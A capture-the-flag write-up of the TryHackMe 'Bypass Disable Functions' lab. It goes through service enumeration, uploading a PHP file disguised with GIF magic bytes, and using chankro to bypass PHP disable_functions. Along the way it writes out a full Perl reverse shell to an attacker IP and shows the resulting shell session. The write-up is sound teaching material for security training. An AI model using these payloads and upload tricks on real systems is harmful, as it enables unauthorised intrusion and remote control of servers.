Information
Room#
- Name: Bypass Disable Functions
- Profile: tryhackme.com
- Difficulty: Info
- Description: Practice bypassing disabled dangerous features that run operating system commands or start processes.

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S nmap ffuf chankroNetwork enumeration#
Let's add a custom hostname to the machine.
➜ grep bypassdisablefunctions /etc/hosts
10.10.154.25 bypassdisablefunctions.thmPort and service enumeration with nmap.
# Nmap 7.95 scan initiated Sun Mar 30 19:01:25 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap bypassdisablefunctions.thm
Nmap scan report for bypassdisablefunctions.thm (10.10.154.25)
Host is up, received echo-reply ttl 63 (0.065s latency).
Not shown: 65336 closed tcp ports (reset), 197 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)
|   256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)
|_  256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Ecorp - Jobs
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 30 19:02:08 2025 -- 1 IP address (1 host up) scanned in 42.53 secondsNothing to see outside the web server.
Web discovery & enumeration#
On the homepage there is nothing but a link to http://bypassdisablefunctions.thm/cv.php.
Let's use ffuf to fuzz a bit around and identify potential files and folders.
➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[…]
uploads                 [Status: 301, Size: 342, Words: 20, Lines: 10, Duration: 54ms]
assets                  [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 67ms]
server-status           [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]
➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[…]
index.html              [Status: 200, Size: 12012, Words: 3434, Lines: 244, Duration: 64ms]
.htaccess               [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]
phpinfo.php             [Status: 200, Size: 68311, Words: 3202, Lines: 747, Duration: 87ms]
[…]
cv.php                  [Status: 200, Size: 4153, Words: 1078, Lines: 98, Duration: 81ms]There are a /uploads/ folder as well as a phpinfo.php file.
On http://bypassdisablefunctions.thm/phpinfo.php, we can check the directives that are important for security.
- disable_functions:- exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
- open_basedir: empty
- $_SERVER['DOCUMENT_ROOT']:- /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db
On the CV page it says Upload a real image, if we do so we can find it back at http://bypassdisablefunctions.thm/uploads/ where there is a directory listing.
However, if we upload a PHP file, it is rejected (no error, but the file is not available on /uploads/). The server doesn't care about the extension .php or the Content-Type application/x-php so it must be checking the file type directly with file or magic header library.
So what I'll do is creating a file gif.txt containing the GIF magic bytes plus a semicolon and a new line:
GIF89a;And I'll create a simple test file noraj.php using none of the blocked function:
<?php echo 'noraj'; ?>Then I'll concatenate both so that my PHP script spoofs a GIF signature header.
cat gif.txt noraj.php > noraj_obfu.phpWhen uploading the spoofed test file, this time we get a different response:
 OK
>And at http://bypassdisablefunctions.thm/uploads/noraj_obfu.php we have GIF89a; noraj displayed. The test went well, now we can go with the real payload.
PHP disable_function bypass#
The issue is that a lot of functions that allow easy command execution are banned. So to bypass that we'll use chankro.
Tool to bypass
disable_functionsandopen_basedirin PHP by callingsendmailand settingLD_PRELOADenvironment variable
I already used this tool during ECSC 2019 Quals.
First, I'll create the reverse shell (rev.sh) I want to use on revshells.com (OS: Linux, Type: Perl, Shell: /bin/bash, IP: THM VPN one, Port: 80).
perl -e 'use Socket;$i="10.21.34.47";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'Then let's use chankro to generate the bypass PHP dropper. We already found the path of the web root on the phpinfo.php page.
chankro --arch 64 --input rev.sh --output dropper.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploadsAs during the previous test, we need to spoof the GIF signature.
cat gif.txt dropper.php > dropper_obfu.phpBy the way, little tips, to be able to bind port under 1024 without root:
sudo sysctl -w net.ipv4.ip_unprivileged_port_start=0 | sudo tee -a /etc/sysctl.d/99-custom.confLaunch a listener and trigger dropper_obfu.php to get a shell.
➜ ncat -lvnp 80
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.154.25:42852.
bash: cannot set terminal process group (743): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$
www-data@ubuntu:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/$ ls -lh /home
total 4.0K
drwxr-xr-x 4 s4vi s4vi 4.0K Jun 23  2021 s4vi
www-data@ubuntu:/$ cd /home/s4vi
www-data@ubuntu:/home/s4vi$ ls -lhA .
total 36K
-rw------- 1 root root 6.0K Jun 23  2021 .bash_history
-rw-r--r-- 1 s4vi s4vi  220 Jun 22  2021 .bash_logout
-rw-r--r-- 1 s4vi s4vi 3.7K Jun 22  2021 .bashrc
drwx------ 2 s4vi s4vi 4.0K Jun 22  2021 .cache
drwxrwxr-x 2 s4vi s4vi 4.0K Jun 23  2021 .nano
-rw-r--r-- 1 s4vi s4vi  655 Jun 22  2021 .profile
-rw-r--r-- 1 s4vi s4vi    0 Jun 23  2021 .sudo_as_admin_successful
-rw-r--r-- 1 root root  183 Jun 23  2021 .wget-hsts
-rw-rw-r-- 1 s4vi s4vi   37 Jun 23  2021 flag.txt
www-data@ubuntu:/home/s4vi$ cat flag.txt
thm{…}Post-exploitation exploration#
/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/cv.php
<!DOCTYPE html>
<html lang="en">
  <head>
[…]
  </head>
  <body>
      <!-- Header Section Start -->
[…]
      <!-- Header Section End -->
      <div class="search-container">
      </div>
    </section>
    <!-- end intro section -->
    </div>
    <!-- Find Job Section Start -->
    <section class="find-job section">
      <div class="container">
        <h2 class="section-title">Send your cv in image format</h2>
        <div class="row">
          <form enctype="multipart/form-data" action="" method="POST">
            <input name="file" type="file" />
            <input type="submit" value="Subir archivo" />
        </form>
        <div>
          <?php
            $mimetype = mime_content_type($_FILES['file']['tmp_name']);
            if(in_array($mimetype, array('image/jpeg', 'image/gif', 'image/png'))) {
            move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
                echo 'OK';
            } else {
            echo 'Upload a real image';
            exit;
           }
          ?>
        </div>>
          </div>
        </div>
    </section>
    </footer>
    <!-- Main JS  -->
[…]
  </body>
</html>grep -vP '(?:^\;)|(?:^$)' /etc/php/7.0/apache2/php.ini[PHP]
engine = On
short_open_tag = Off
precision = 14
output_buffering = 4096
zlib.output_compression = Off
implicit_flush = Off
unserialize_callback_func =
serialize_precision = 17
open_basedir = none
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl
_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getprior
ity,pcntl_setpriority,
[…]/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
[…]
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
[…]
</VirtualHost>